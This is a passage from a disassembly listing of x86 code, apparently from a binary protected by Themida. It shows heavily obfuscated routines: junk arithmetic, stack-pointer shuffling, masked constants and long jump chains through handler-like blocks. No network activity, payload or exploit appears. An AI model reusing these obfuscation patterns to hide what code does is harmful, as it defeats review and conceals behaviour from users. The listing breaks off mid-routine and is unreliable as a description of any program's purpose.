; ---------------------------------------------------------------------------


loc_58B49F:				; CODE XREF: sub_59196D+2648j
		mov	ecx, 5E936540h
		sub	[esp+4], ecx
		pop	ecx
		jmp	loc_58CE81
; ---------------------------------------------------------------------------


loc_58B4AE:				; CODE XREF: sub_59196D-734j
		add	esp, 4
		sub	bl, 0C7h
		push	edx
		mov	dl, 24h
		inc	dl
		add	dl, 0D8h
		sub	bl, dl
		pop	edx
		add	bl, 5Fh
		sub	bl, 3Ch
		sub	bl, al
		add	bl, 3Ch
		push	ecx
		mov	ch, 0CCh
		shr	ch, 1
		push	edx
		mov	dl, 25h
		sub	dl, 93h
		jmp	loc_5918DF
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58B4DA	proc near		; CODE XREF: sub_59196D+2421j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_595CF5
sub_58B4DA	endp

; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_593DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B504:				; CODE XREF: sub_59196D+3448j
		shl	dh, 5
		xor	dh, 9Fh
		sub	al, dh
		pop	edx
		push	dword ptr [esp+0]
		jmp	loc_58FCBC
; ---------------------------------------------------------------------------


loc_58B515:				; CODE XREF: sub_59196D-EEDj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_596A39
; ---------------------------------------------------------------------------


loc_58B536:				; CODE XREF: sub_59196D-215Aj
		jns	sub_58D521
		push	ebx
		mov	ebx, 1F374C07h
		not	ebx
		jmp	loc_58E848
; ---------------------------------------------------------------------------


loc_58B549:				; CODE XREF: sub_59196D+2E00j
		mov	ebx, 1AAF41A2h
		mov	ebp, 966A931Ch
		jmp	loc_597540
; ---------------------------------------------------------------------------


loc_58B558:				; CODE XREF: sub_59196D-3436j
		push	0F8h
		mov	[esp+10h+var_12+2], edx
		push	eax
		sub	esp, 4
		mov	[esp+18h+var_1A+2], edi
		mov	edi, 6FCE3266h
		jmp	loc_591359
; ---------------------------------------------------------------------------


loc_58B571:				; CODE XREF: sub_59196D+2D3Dj
		pop	ecx
		jmp	loc_595797
; ---------------------------------------------------------------------------


loc_58B577:				; CODE XREF: sub_59196D-5C2j
		add	eax, 32030305h
		push	[esp+14h+var_16+2]
		jmp	loc_5944B2
; ---------------------------------------------------------------------------


loc_58B584:				; CODE XREF: sub_59196D-4912j
		pop	edx
		push	7B2Fh
		mov	[esp+18h+var_1A+2], ebp
		mov	ebp, 6FAD3622h
		add	ebp, 0ED1D4834h
		add	eax, ebp
		pop	ebp
		push	3F4Ah
		mov	[esp+18h+var_1A+2], ebp
		mov	ebp, 115568D5h
		add	ebp, 7C0D23CAh
		xor	ebp, 261C07A8h
		jmp	loc_58C361
; ---------------------------------------------------------------------------


loc_58B5B9:				; CODE XREF: sub_59196D+6275j
		mov	ecx, esp
		jmp	loc_58E7D8
; ---------------------------------------------------------------------------


loc_58B5C0:				; CODE XREF: sub_59196D-2A6Bj
		pop	esp
		sar	[esp+14h+var_16+2], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58B5CA:				; CODE XREF: sub_59196D+4F64j
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 4
		add	eax, 266A71BFh
		jmp	loc_58B86A
; ---------------------------------------------------------------------------


loc_58B5DC:				; CODE XREF: sub_59196D-1348j
		add	esp, 4
		jmp	loc_58D5E0
; ---------------------------------------------------------------------------


loc_58B5E4:				; CODE XREF: sub_59196D+773j
		mov	[esp+18h+var_1A+2], ebx
		push	ebp
		jmp	loc_5984DF
; ---------------------------------------------------------------------------


loc_58B5ED:				; CODE XREF: sub_59196D+23B7j
					; sub_59196D+3BC6j
		shr	eax, 7
		jnp	loc_591E76
		jmp	loc_593B57
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		pop	ebx
		mov	edx, esi
		pop	esi
		mov	ecx, ebx
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B602:				; CODE XREF: sub_59196D+1E46j
		pop	[esp+1Ch+var_1E+2]
		pop	esp
		mov	[esp+14h+var_16+2], ecx
		jmp	loc_5940F5
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58B60E	proc near		; CODE XREF: sub_59196D+4699j
					; sub_59196D+4982j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059048C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590580 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00590786 SIZE 0000000C BYTES

		sub	esp, 4
		jmp	loc_590580
sub_58B60E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B616:				; CODE XREF: sub_59196D-5E0Dj
		add	dh, ch
		jmp	loc_5918F5
; ---------------------------------------------------------------------------


loc_58B61D:				; CODE XREF: sub_59196D+261Fj
		xor	edx, 36793F3Fh
		jge	loc_594C67
		push	esi
		jmp	loc_5915E2
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		shl	ecx, 6
		push	ebx
		mov	ebx, 77453FA6h
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B638:				; CODE XREF: sub_59196D+F21j
		xor	ebp, 0FF81D222h
		jmp	loc_58C25E
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BE0


loc_58B643:				; CODE XREF: sub_590BE0-F35j
		pop	esp
		add	ebx, 4
		jmp	loc_58BDCF
; END OF FUNCTION CHUNK	FOR sub_590BE0
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_58E549
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	dword ptr [esp+4], 34941793h
		jmp	loc_58DA96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B670:				; CODE XREF: sub_59196D-13A7j
		push	edx
		mov	edx, 129628F7h
		jmp	loc_58F6F8
; ---------------------------------------------------------------------------


loc_58B67B:				; CODE XREF: sub_59196D-2CD1j
		sub	bl, dl
		jmp	loc_58E671
; ---------------------------------------------------------------------------


loc_58B682:				; CODE XREF: sub_59196D-2AFBj
		add	edx, 4
		jmp	loc_5940FA
; ---------------------------------------------------------------------------


loc_58B68D:				; CODE XREF: sub_59196D-12C8j
		mov	esi, [esp+1Ch+var_1E+2]
		jmp	loc_58F13C
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590792


loc_58B695:				; CODE XREF: sub_590792-43B6j
		push	edi
		push	[esp+8+var_4]
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], ecx
		jmp	sub_58FC53
; END OF FUNCTION CHUNK	FOR sub_590792
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B6AE:				; CODE XREF: sub_59196D:loc_594D2Ej
					; sub_59196D+3FF8j
		sub	edx, esi
		pop	esi
		sub	ebp, 34D418EFh
		add	ebp, edx
		add	ebp, 34D418EFh
		pop	edx
		xchg	ebp, [esp+14h+var_16+2]
		jmp	loc_58FE37
; ---------------------------------------------------------------------------


loc_58B6C8:				; CODE XREF: sub_59196D-2C8Bj
		pop	edx
		push	eax
		mov	al, 83h
		dec	al
		inc	al
		jmp	loc_58C131
; ---------------------------------------------------------------------------


loc_58B6D5:				; CODE XREF: sub_59196D-4BB6j
					; sub_59196D:loc_593DBDj
		push	eax
		mov	eax, 686157F5h
		jmp	loc_5949AE
; ---------------------------------------------------------------------------


loc_58B6E0:				; CODE XREF: sub_59196D+5937j
		push	ebx
		push	[esp+1Ch+var_1A+2]
		pop	ebx
		pop	[esp+1Ch+var_1E+2]
		mov	esp, [esp+18h+var_1A+2]
		btr	word ptr [esp+18h+var_1A+2], ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58B6F7:				; CODE XREF: sub_59196D-440Aj
		not	eax
		jmp	loc_58C610
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58B6FE:				; DATA XREF: Themida_:0058B0DCo
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_596657
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B71B:				; CODE XREF: sub_59196D+1C64j
		push	edi
		mov	edi, eax
		mov	ebx, edi
		mov	edi, [esp+20h+var_22+2]
		add	esp, 4
		pop	eax
		push	ebp
		push	ebx
		add	[esp+20h+var_22+2], 135C56FBh
		jmp	loc_5957DD
; ---------------------------------------------------------------------------


loc_58B738:				; CODE XREF: sub_59196D+658Cj
		add	esp, 4
		push	304Fh
		mov	[esp+20h+var_22+2], ebp
		push	[esp+20h+var_1E+2]
		pop	ebp
		pop	[esp+20h+var_22+2]
		pop	esp
		or	word ptr [esp+18h+var_1A+2], ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58B756:				; CODE XREF: sub_59196D-60F8j
		push	esp
		jmp	loc_590EF4
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B764:				; CODE XREF: sub_59196D+1DC2j
		dec	ecx
		jmp	loc_594D2E
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58B76A	proc near		; CODE XREF: sub_59196D+471Bj

var_8		= dword	ptr -8
var_4		= word ptr -4

		sub	esp, 2
		mov	[esp+4+var_4], dx
		push	7B56h
		mov	[esp+8+var_8], ecx
		mov	ch, 0A8h
		push	eax
		jmp	loc_5927D6
sub_58B76A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B781:				; CODE XREF: sub_59196D-596Ej
		mov	eax, 2
		jmp	loc_5956C4
; ---------------------------------------------------------------------------


loc_58B78B:				; CODE XREF: sub_59196D-389j
		pop	eax
		jmp	loc_594906
; ---------------------------------------------------------------------------


loc_58B791:				; CODE XREF: sub_59196D+642Bj
		mov	ah, 0F9h
		shl	ah, 5
		or	ah, 85h
		add	ah, 29h
		push	edx
		mov	dh, 21h
		jmp	loc_592AA8
; ---------------------------------------------------------------------------


loc_58B7A4:				; CODE XREF: sub_59196D-51A8j
		sub	edx, eax
		pop	eax
		pop	esi
		jmp	loc_594C48
; ---------------------------------------------------------------------------


loc_58B7AD:				; CODE XREF: sub_59196D+B8Aj
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		push	ebx
		jmp	loc_5902B0
; ---------------------------------------------------------------------------


loc_58B7BC:				; CODE XREF: sub_59196D+5DDAj
		pop	ebp
		add	ebp, edx
		pop	edx
		add	ebp, 54321693h
		or	ebp, 5CB92DC7h
		push	4795h
		mov	[esp+18h+var_1A+2], ecx
		jmp	loc_58CFEB
; ---------------------------------------------------------------------------


loc_58B7D9:				; CODE XREF: sub_59196D-4353j
		jmp	loc_5917E4
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58B7DE:				; DATA XREF: Themida_:0058B0BCo
		push	dword ptr [esp]
		jmp	loc_58D0A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B7E6:				; CODE XREF: sub_59196D+68C8j
		and	edx, 0A44849h
		add	edx, 0FFFFF7BFh
		add	edi, edx
		pop	edx
		sub	edi, 0B3C39908h
		sub	eax, edi
		jmp	loc_5933B6
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58B802:				; DATA XREF: Themida_:0058B0C0o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B812:				; CODE XREF: sub_59196D+5F23j
		and	edx, 7FA528E3h
		add	edx, 0FFFBFF82h
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp+10h+var_12+2]
		pop	esp
		sub	bl, 9Eh
		sub	esp, 2
		jmp	loc_58C451
; ---------------------------------------------------------------------------


loc_58B830:				; CODE XREF: sub_59196D+1AFEj
		mov	[esp+10h+var_12+2], esi
		push	esp
		jmp	loc_592BA4
; ---------------------------------------------------------------------------


loc_58B839:				; CODE XREF: sub_59196D-CD0j
		mov	ax, word ptr [esp+14h+var_16+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		push	2
		mov	ebp, [esp+20h+var_22+2]
		add	esp, 4
		add	ebx, ebp
		mov	ebp, [esp+1Ch+var_1E+2]
		jmp	loc_58EC09
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58B85F	proc near		; CODE XREF: sub_59196D+19F4j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005908B8 SIZE 00000025 BYTES

		sub	esp, 4
		jmp	loc_5908B8
sub_58B85F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B86A:				; CODE XREF: sub_59196D-6396j
		add	eax, ebx
		sub	eax, 266A71BFh
		mov	ebx, [esp+1Ch+var_1E+2]
		push	eax
		jmp	loc_58B756
; ---------------------------------------------------------------------------


loc_58B87A:				; CODE XREF: sub_59196D+F05j
		pop	edi
		neg	esi
		jb	loc_597988
		shl	esi, 3
		jp	loc_595C05
		mov	dl, bh
		push	edx


loc_58B88F:				; CODE XREF: sub_59196D-1686j
		add	al, 9Eh
		jo	loc_59791D
		sub	al, 7Dh
		mov	dh, al
		jmp	loc_58E51E
; ---------------------------------------------------------------------------


loc_58B8A0:				; CODE XREF: sub_59196D+5B2Ej
		pop	esi
		pop	edx
		and	eax, ecx
		pop	ecx
		jmp	loc_5948C1
; ---------------------------------------------------------------------------


loc_58B8AA:				; CODE XREF: sub_59196D+1CE0j
		sub	edx, 32F440C7h
		jmp	loc_58E129
; ---------------------------------------------------------------------------


loc_58B8B5:				; CODE XREF: sub_59196D+376j
		mov	[esp+14h+var_16+2], edi
		push	esi
		jmp	loc_596BA6
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58B8BE:				; DATA XREF: Themida_:0058B0ACo
		push	dword ptr [esp]
		mov	eax, [esp]
		push	3256h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 30DB1E60h
		jmp	loc_594D3A

; =============== S U B	R O U T	I N E =======================================



sub_58B8EB	proc near		; CODE XREF: sub_59196D+615Fj
		sub	esp, 4
		jmp	loc_597662
sub_58B8EB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B8F6:				; CODE XREF: sub_59196D-4D2Cj
		pop	esi
		shl	esi, 7
		jp	loc_58BEE9
		add	esi, 3721EA2h
		xor	al, 83h
		mov	ebx, eax


loc_58B90A:				; CODE XREF: sub_59196D-4EE5j
		add	ebx, ecx
		mov	ecx, [esp+14h+var_16+2]
		jmp	loc_592352
; ---------------------------------------------------------------------------


loc_58B914:				; CODE XREF: sub_59196D+4C5Bj
		add	eax, 3C970889h
		jmp	loc_591C51
; ---------------------------------------------------------------------------


loc_58B91E:				; CODE XREF: sub_59196D-3253j
		push	edx
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], esp
		jmp	loc_597A4C
; ---------------------------------------------------------------------------


loc_58B92D:				; CODE XREF: sub_59196D+5B4Bj
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 67A77EBCh
		push	0
		jmp	loc_5955C1
; ---------------------------------------------------------------------------


loc_58B945:				; CODE XREF: sub_59196D+2CBFj
		pop	esi
		xchg	edx, [esp+20h+var_22+2]
		jmp	loc_5900D3
; ---------------------------------------------------------------------------


loc_58B94E:				; CODE XREF: sub_59196D-2F0Cj
		pop	ecx
		jmp	loc_58C279
; ---------------------------------------------------------------------------


loc_58B954:				; CODE XREF: sub_59196D+3E96j
		push	eax
		mov	eax, ecx
		mov	edx, eax
		jmp	loc_58F184
; ---------------------------------------------------------------------------


loc_58B95E:				; CODE XREF: sub_59196D+1305j
		push	[esp+20h+var_1E+2]
		pop	edx
		pop	[esp+20h+var_22+2]
		pop	esp
		bswap	eax
		push	4F76h
		mov	[esp+1Ch+var_1E+2], ebp
		jmp	loc_595555
; ---------------------------------------------------------------------------


loc_58B976:				; CODE XREF: sub_59196D+24D8j
		not	edx
		xchg	edx, ebx
		neg	ebx
		xor	ebx, 410369CDh
		jmp	loc_59836A
; ---------------------------------------------------------------------------


loc_58B987:				; CODE XREF: sub_59196D-4FBAj
					; sub_59196D+2EEAj
		add	ecx, edi
		push	ebx
		jmp	loc_596BEC
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58E9F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58B998:				; CODE XREF: sub_59196D+5A70j
		xor	[esp+20h+var_22+2], ebp
		xor	ebp, [esp+20h+var_22+2]
		jmp	loc_58EDED
; ---------------------------------------------------------------------------


loc_58B9A3:				; CODE XREF: sub_59196D+44FCj
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		shr	edx, 7
		shl	edx, 4
		js	loc_58D91D
		add	edx, 31F00243h
		jz	loc_5901F8
		add	edx, 16B81A31h
		js	loc_58C004
		xor	edx, 440B9BCBh
		mov	ecx, edx
		pop	edx
		jmp	loc_595D66
; ---------------------------------------------------------------------------


loc_58B9DE:				; CODE XREF: sub_59196D+6CD0j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5927FA
; ---------------------------------------------------------------------------


loc_58B9F2:				; CODE XREF: sub_59196D+2191j
		push	ecx
		mov	ch, 0BBh
		neg	ch
		and	ch, 0D8h
		jmp	loc_58E7B5
; ---------------------------------------------------------------------------


loc_58B9FF:				; CODE XREF: sub_59196D+5697j
		mov	edi, 62F7ADDh
		mov	esi, edi
		mov	edi, [esp+20h+var_22+2]
		add	esp, 4
		sub	ebp, esi
		jmp	loc_58CE4E
; ---------------------------------------------------------------------------


loc_58BA16:				; CODE XREF: sub_59196D+6C16j
		pop	esi
		xchg	esi, [esp+18h+var_1A+2]
		push	[esp+18h+var_1A+2]
		mov	eax, [esp+1Ch+var_1E+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_593272
; ---------------------------------------------------------------------------


loc_58BA31:				; CODE XREF: sub_59196D-189Fj
		push	5AECh
		jmp	loc_58E78C
; ---------------------------------------------------------------------------


loc_58BA3B:				; CODE XREF: sub_59196D-59F9j
		pop	edx
		jmp	loc_596769
; ---------------------------------------------------------------------------


loc_58BA41:				; CODE XREF: sub_59196D:loc_595CE2j
		add	edx, 6CAD461Ah
		mov	ebx, edx
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		mov	edi, ebx
		pop	ebx
		sub	edi, 5F2479E8h
		sub	edi, esi
		add	edi, 5F2479E8h
		xchg	edi, esi
		jmp	loc_58E888
; ---------------------------------------------------------------------------


loc_58BA6A:				; CODE XREF: sub_59196D+528j
		mov	cx, word ptr [esp+18h+var_1A+2]
		add	esp, 2
		jmp	loc_597023
; ---------------------------------------------------------------------------


loc_58BA76:				; CODE XREF: sub_59196D:loc_592724j
		add	eax, 60CA14C6h
		jmp	loc_58CDAC
; ---------------------------------------------------------------------------


loc_58BA80:				; CODE XREF: sub_59196D+23B0j
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+10h+var_12+2]
		pop	esp
		mov	ecx, [esp+0Ch+var_C]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], edi
		xor	edi, [esp+10h+var_12+2]
		pop	esp
		push	edi
		mov	edi, 5ACB5103h
		and	edi, 1E4E0E6Ah
		dec	edi
		inc	edi
		xor	edi, 28F52EEEh
		push	ebx
		jmp	loc_591040
; ---------------------------------------------------------------------------


loc_58BABD:				; CODE XREF: sub_59196D+5C44j
		add	ecx, 4
		push	esi
		mov	esi, 2
		jmp	loc_593FE5
; ---------------------------------------------------------------------------


loc_58BACE:				; CODE XREF: sub_59196D-500Ej
					; sub_59192A-2D68j
		and	dl, 18h
		xor	dl, 0FFh
		mov	cl, dl
		pop	edx
		sub	esp, 4
		jmp	loc_594130
; ---------------------------------------------------------------------------


loc_58BAE2:				; CODE XREF: sub_59196D+587Cj
		xchg	esi, [esp+18h+var_1A+2]
		pop	esp
		xor	[esp+14h+var_16+2], eax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58BAEF:				; CODE XREF: sub_59196D+4598j
		sub	ebp, 0A65EBF02h
		and	[edi+1Ch], ebp
		mov	ebp, [esp+18h+var_1A+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_591857
; ---------------------------------------------------------------------------


loc_58BB09:				; CODE XREF: sub_59196D+3BBFj
		dec	edi
		js	loc_58F03C
		jmp	loc_58D490
; ---------------------------------------------------------------------------


loc_58BB15:				; CODE XREF: sub_59196D-43BDj
		add	esp, 4
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58BB1D:				; CODE XREF: sub_59196D+1051j
		push	eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 71604329h
		jmp	loc_595891
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BF03


loc_58BB2B:				; CODE XREF: sub_58BF03+15j
		push	edx
		jmp	loc_595E61
; END OF FUNCTION CHUNK	FOR sub_58BF03

; =============== S U B	R O U T	I N E =======================================



sub_58BB31	proc near		; CODE XREF: sub_59196D-22Dj
		push	ebx
		mov	ebx, 0F2E01A87h
		sub	edx, ebx
		pop	ebx
		add	edi, 12360752h
		add	edi, edx
		sub	edi, 12360752h
		push	dword ptr [esp+0]
		pop	edx
		push	ebx
		jmp	loc_59226A
sub_58BB31	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58BB52:				; CODE XREF: sub_59196D-8D4j
		add	ebx, edx
		pop	edx
		jmp	loc_596679
; ---------------------------------------------------------------------------


loc_58BB5A:				; CODE XREF: sub_59196D-1EEDj
		shl	dh, 3
		add	dh, 9Bh
		jmp	loc_58B616
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59843D


loc_58BB65:				; CODE XREF: sub_59843D+3j
		mov	[esp+0], ebx
		mov	ebx, esp
		jmp	sub_58D7D7
; END OF FUNCTION CHUNK	FOR sub_59843D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58BB6F:				; CODE XREF: sub_59196D-4796j
		xor	esi, 2B7B0F78h
		js	loc_592F76
		jmp	loc_591EE5
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		jmp	loc_58C76A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58BB85:				; CODE XREF: sub_59196D-2448j
					; sub_59196D+3DFj
		pop	ebx
		and	ebp, 5F19294Fh
		or	ebp, 228D71CBh
		jmp	loc_591EE5
; ---------------------------------------------------------------------------


loc_58BB97:				; CODE XREF: sub_59196D-2AE7j
		and	esi, 5CAB4A71h
		jmp	loc_58D695
; ---------------------------------------------------------------------------


loc_58BBA2:				; CODE XREF: sub_59196D+4A7Dj
		mov	edi, 2CEB2835h
		jmp	loc_59054A
; ---------------------------------------------------------------------------


loc_58BBAC:				; CODE XREF: sub_59196D-1563j
		pop	eax
		push	edx
		mov	edx, 2C650437h
		push	edi
		mov	edi, 4FDE402Bh
		jmp	loc_59601A
; ---------------------------------------------------------------------------


loc_58BBBE:				; CODE XREF: sub_59196D-848j
		xor	eax, 1B6985h
		xor	ecx, eax
		push	[esp+1Ch+var_1E+2]
		jmp	loc_591BC1
; ---------------------------------------------------------------------------


loc_58BBCD:				; CODE XREF: sub_59196D+443Bj
		pop	esi
		and	[edi+1Ch], eax
		mov	eax, [esp+1Ch+var_1E+2]
		jmp	loc_5901A2
; ---------------------------------------------------------------------------


loc_58BBD9:				; CODE XREF: sub_59196D-57F6j
		sub	eax, 0CA25DAh
		mov	edi, [esp+1Ch+var_1E+2]
		push	555Ah
		mov	[esp+20h+var_22+2], eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		jmp	loc_5925DB
; ---------------------------------------------------------------------------


loc_58BBF6:				; CODE XREF: sub_59196D+68FBj
		push	3B63h
		jmp	loc_59842D
; ---------------------------------------------------------------------------


loc_58BC00:				; CODE XREF: sub_59196D+FD6j
		mov	[esp+28h+var_2A+2], ebp
		push	eax
		mov	eax, 54515913h
		jmp	loc_58DE62
; ---------------------------------------------------------------------------


loc_58BC0E:				; CODE XREF: sub_59196D-214Fj
		mov	[esp+2Ch+var_2E+2], eax
		jmp	loc_593E9D
; ---------------------------------------------------------------------------


loc_58BC16:				; CODE XREF: sub_59196D-31F6j
		add	edi, 54EB0080h
		or	edi, 61C12276h
		xor	edi, 4E2DF772h
		jmp	loc_593D40
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58BC2D:				; DATA XREF: Themida_:0058B09Co
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 9A81590h
		jmp	loc_58EB2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58BC3F:				; CODE XREF: sub_59196D:loc_595A6Aj
		add	esi, 0EEF6FBE8h
		mov	edx, esi
		pop	esi
		sub	edx, 2FD933BDh
		jmp	loc_59808E
; ---------------------------------------------------------------------------


loc_58BC53:				; CODE XREF: sub_59196D-49C4j
		pop	esp
		mov	[esp+24h+var_26+2], esi
		push	2
		pop	esi
		sub	ecx, 6DF05BD4h
		add	ecx, esi
		push	esi
		mov	esi, 129C092Dh
		shr	esi, 2
		dec	esi
		xor	esi, 524D4D19h
		jmp	loc_593E07
; ---------------------------------------------------------------------------


loc_58BC7A:				; CODE XREF: sub_59196D+28BDj
		xchg	edi, [esp+28h+var_2A+2]
		pop	esp
		mov	[esp+24h+var_26+2], edi
		push	esi
		mov	esi, ebx
		mov	edi, esi
		mov	esi, [esp+28h+var_2A+2]
		jmp	loc_58D544
; ---------------------------------------------------------------------------


loc_58BC8E:				; CODE XREF: sub_59196D+4794j
		push	4FD0h
		mov	[esp+2Ch+var_2E+2], esp
		jmp	loc_594F41
; ---------------------------------------------------------------------------


loc_58BC9B:				; CODE XREF: sub_59196D+3AC0j
		pop	esi
		jmp	loc_590635
; ---------------------------------------------------------------------------


loc_58BCA1:				; CODE XREF: sub_59196D+44A3j
		shr	cl, 3
		jmp	loc_59470B
; ---------------------------------------------------------------------------


loc_58BCA9:				; CODE XREF: sub_59196D+35DBj
		pop	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_59530B
; ---------------------------------------------------------------------------


loc_58BCB5:				; CODE XREF: sub_59196D+1BACj
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		jmp	loc_5921E9
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58BCC0:				; CODE XREF: Themida_:0058F9B3j
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 7AF76197h
		neg	ebp
		push	eax
		jmp	loc_592838
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58BCD9:				; CODE XREF: sub_59196D-515Cj
		not	esi
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], edi
		jmp	sub_58E3B7
; ---------------------------------------------------------------------------


loc_58BCE9:				; CODE XREF: sub_59196D-1D75j
		jmp	loc_593967
; ---------------------------------------------------------------------------


loc_58BCEE:				; CODE XREF: sub_59196D+52B2j
					; sub_59196D+59EBj
		push	esi
		jmp	loc_593B0D
; ---------------------------------------------------------------------------


loc_58BCF4:				; CODE XREF: sub_59196D-12AAj
		pop	[esp+30h+var_32+2]
		pop	esp
		jmp	loc_596B1E
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58BCFD:				; CODE XREF: Themida_:0058DFFCj
		pop	edx
		add	edx, 4
		push	735Ah
		mov	[esp], eax
		mov	eax, 2
		jmp	loc_58FF25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58BD16:				; CODE XREF: sub_59196D:loc_58C9ACj
		push	esi
		jmp	loc_594270
; ---------------------------------------------------------------------------


loc_58BD1C:				; CODE XREF: sub_59196D+5F96j
		sub	bl, dl
		sub	bl, 0EFh
		mov	dx, word ptr [esp+2Ch+var_2E+2]
